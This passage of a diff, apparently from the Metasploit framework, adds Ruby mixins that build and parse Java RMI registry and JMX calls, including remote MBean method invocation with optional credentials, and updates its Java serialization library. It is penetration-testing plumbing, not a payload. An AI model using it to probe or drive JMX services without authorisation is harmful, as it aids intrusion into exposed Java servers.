# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :object the MBean name
|
||||
# @option opts [String] :method the method name
|
||||
# @option opts [Hash] :args the method arguments
|
||||
# @return [Array]
|
||||
def build_jmx_invoke_args(opts = {})
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
args = opts[:args] || {}
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
|
||||
marshall_object,
|
||||
new_array,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def build_invoke_arguments_obj_bytes(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
require 'msf/java/rmi/client/jmx/server/builder'
|
||||
require 'msf/java/rmi/client/jmx/server/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Server::Builder
|
||||
include Msf::Java::Rmi::Client::Jmx::Server::Parser
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The connection information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
|
||||
def send_new_client(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_new_client(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
return nil
|
||||
end
|
||||
|
||||
reference = parse_jmx_new_client_endpoint(return_value)
|
||||
|
||||
reference
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,73 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||
# used to enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :username the JMX role to establish the connection if needed
|
||||
# @option opts [String] :password the JMX password to establish the connection if needed
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_new_client(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
username = opts[:username]
|
||||
password = opts[:password] || ''
|
||||
|
||||
if username
|
||||
arguments = build_jmx_new_client_args(username, password)
|
||||
else
|
||||
arguments = [Rex::Java::Serialization::Model::NullReference.new]
|
||||
end
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
|
||||
def build_jmx_new_client_args(username = '', password = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
[auth_array]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Server
|
||||
module Parser
|
||||
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
|
||||
# to find out the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_jmx_new_client_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,129 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
|
||||
# interface
|
||||
module Registry
|
||||
require 'msf/java/rmi/client/registry/builder'
|
||||
require 'msf/java/rmi/client/registry/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Registry::Builder
|
||||
include Msf::Java::Rmi::Client::Registry::Parser
|
||||
|
||||
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup
|
||||
def send_registry_lookup(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_lookup(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
remote_object = return_value.get_class_name
|
||||
|
||||
if remote_object.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location = parse_registry_lookup_endpoint(return_value)
|
||||
|
||||
if remote_location.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location.merge(object: remote_object)
|
||||
end
|
||||
|
||||
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
|
||||
# java/rmi/registry/RegistryImpl_Stub#list() method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Array, NilClass] The set of names if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list
|
||||
def send_registry_list(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_registry_list(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
names = parse_registry_list(return_value)
|
||||
|
||||
names
|
||||
end
|
||||
|
||||
# Calculates the hash to make RMI calls for the
|
||||
# java/rmi/registry/RegistryImpl_Stub interface
|
||||
#
|
||||
# @return [Fixnum] The interface's hash
|
||||
def registry_interface_hash
|
||||
hash = calculate_interface_hash(
|
||||
[
|
||||
{
|
||||
name: 'bind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
descriptor: '()[Ljava/lang/String;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'lookup',
|
||||
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'rebind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'unbind',
|
||||
descriptor: '(Ljava/lang/String;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
hash
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
|
||||
# retrieve the remote reference bound to a name.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the name to lookup
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_registry_lookup(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 2, # java.rmi.Remote lookup(java.lang.String)
|
||||
hash: registry_interface_hash,
|
||||
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
|
||||
# enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_registry_list(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 1, # java.lang.String list()[]
|
||||
hash: registry_interface_hash,
|
||||
arguments: []
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,49 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Parser
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
|
||||
# the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_registry_lookup_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
|
||||
# the list of names registered.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Array, NilClass] The list of names registered if success, nil otherwise
|
||||
def parse_registry_list(return_value)
|
||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
|
||||
return nil
|
||||
end
|
||||
|
||||
unless return_value.value[0].type == 'java.lang.String;'
|
||||
return nil
|
||||
end
|
||||
|
||||
return_value.value[0].values.collect { |val| val.contents }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,70 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Streams
|
||||
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,123 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/text'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Util
|
||||
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
|
||||
#
|
||||
# @param signature [String] The remote method signature as specified by the JDK 1.2,
|
||||
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
|
||||
# @return [Fixnum] The method hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
|
||||
def calculate_method_hash(signature)
|
||||
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
|
||||
sha1 = Rex::Text.sha1_raw(utf.encode)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||
#
|
||||
# @param methods [Array] set of method names and their descriptors
|
||||
# @param exceptions [Array] set of declared exceptions
|
||||
# @return [Fixnum] The interface hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||
def calculate_interface_hash(methods)
|
||||
stream = ''
|
||||
stream << [1].pack('N') # stub version number
|
||||
|
||||
methods.each do |m|
|
||||
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
|
||||
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
|
||||
stream << utf_method.encode
|
||||
stream << utf_descriptor.encode
|
||||
m[:exceptions].each do |e|
|
||||
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
|
||||
stream << utf_exception.encode
|
||||
end
|
||||
end
|
||||
|
||||
sha1 = Rex::Text.sha1_raw(stream)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('s>')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('l>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts a long from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the long from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_long(io)
|
||||
int_raw = io.read(8)
|
||||
unless int_raw && int_raw.length == 8
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('q>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extract an RMI interface reference from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the reference from, should contain the data
|
||||
# inside a BlockData with the reference information.
|
||||
# @return [Hash, nil] the extracted reference if success, nil otherwise
|
||||
# @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
|
||||
# @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
|
||||
def extract_reference(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
object_number = extract_long(io)
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||
|
||||
{address: address, port: port, object_number: object_number, uid: uid}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -51,5 +51,7 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
require 'rex/java/serialization/decode_error'
|
||||
require 'rex/java/serialization/encode_error'
|
||||
require 'rex/java/serialization/model'
|
||||
require 'rex/java/serialization/builder'
|
|
@ -0,0 +1,11 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
class DecodeError < ::RuntimeError
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,11 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
class EncodeError < ::RuntimeError
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -15,6 +15,7 @@ module Rex
|
|||
autoload :Field, 'rex/java/serialization/model/field'
|
||||
autoload :LongUtf, 'rex/java/serialization/model/long_utf'
|
||||
autoload :NewArray, 'rex/java/serialization/model/new_array'
|
||||
autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc'
|
||||
autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc'
|
||||
autoload :NewEnum, 'rex/java/serialization/model/new_enum'
|
||||
autoload :NewObject, 'rex/java/serialization/model/new_object'
|
||||
|
|
|
@ -24,7 +24,7 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
loop do
|
||||
content = decode_content(io, stream)
|
||||
|
@ -38,9 +38,9 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::Annotation
|
||||
#
|
||||
# @return [String] if serialization suceeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
raise ::RuntimeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
|
||||
|
||||
encoded = ''
|
||||
|
||||
|
|
|
@ -26,10 +26,10 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(1)
|
||||
raise RuntimeError, 'Failed to unserialize BlockData' if raw_length.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil?
|
||||
self.length = raw_length.unpack('C')[0]
|
||||
|
||||
if length == 0
|
||||
|
@ -37,7 +37,7 @@ module Rex
|
|||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise RuntimeError, 'Failed to unserialize BlockData'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -26,11 +26,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(4)
|
||||
if raw_length.nil? || raw_length.length != 4
|
||||
raise ::RuntimeError, 'Failed to unserialize BlockDataLong'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong'
|
||||
end
|
||||
self.length = raw_length.unpack('N')[0]
|
||||
|
||||
|
@ -39,7 +39,7 @@ module Rex
|
|||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise ::RuntimeError, 'Failed to unserialize BlockData'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -21,13 +21,13 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
content = decode_content(io, stream)
|
||||
allowed_contents = [NullReference, NewClassDesc, Reference]
|
||||
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
|
||||
|
||||
unless allowed_contents.include?(content.class)
|
||||
raise ::RuntimeError, 'ClassDesc unserialize failed'
|
||||
raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed'
|
||||
end
|
||||
|
||||
self.description = content
|
||||
|
@ -37,13 +37,13 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::ClassDesc
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
encoded = ''
|
||||
allowed_contents = [NullReference, NewClassDesc, Reference]
|
||||
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
|
||||
|
||||
unless allowed_contents.include?(description.class)
|
||||
raise ::RuntimeError, 'Failed to serialize ClassDesc'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc'
|
||||
end
|
||||
|
||||
encoded << encode_content(description)
|
||||
|
|
|
@ -11,10 +11,10 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed or unsupported content
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content
|
||||
def decode_content(io, stream)
|
||||
opcode = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to unserialize content' if opcode.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil?
|
||||
opcode = opcode.unpack('C')[0]
|
||||
content = nil
|
||||
|
||||
|
@ -42,17 +42,17 @@ module Rex
|
|||
when TC_CLASSDESC
|
||||
content = NewClassDesc.decode(io, stream)
|
||||
when TC_PROXYCLASSDESC
|
||||
raise ::RuntimeError, 'Failed to unserialize unsupported TC_PROXYCLASSDESC content'
|
||||
content = ProxyClassDesc.decode(io, stream)
|
||||
when TC_REFERENCE
|
||||
content = Reference.decode(io, stream)
|
||||
when TC_NULL
|
||||
content = NullReference.decode(io, stream)
|
||||
when TC_EXCEPTION
|
||||
raise ::RuntimeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
|
||||
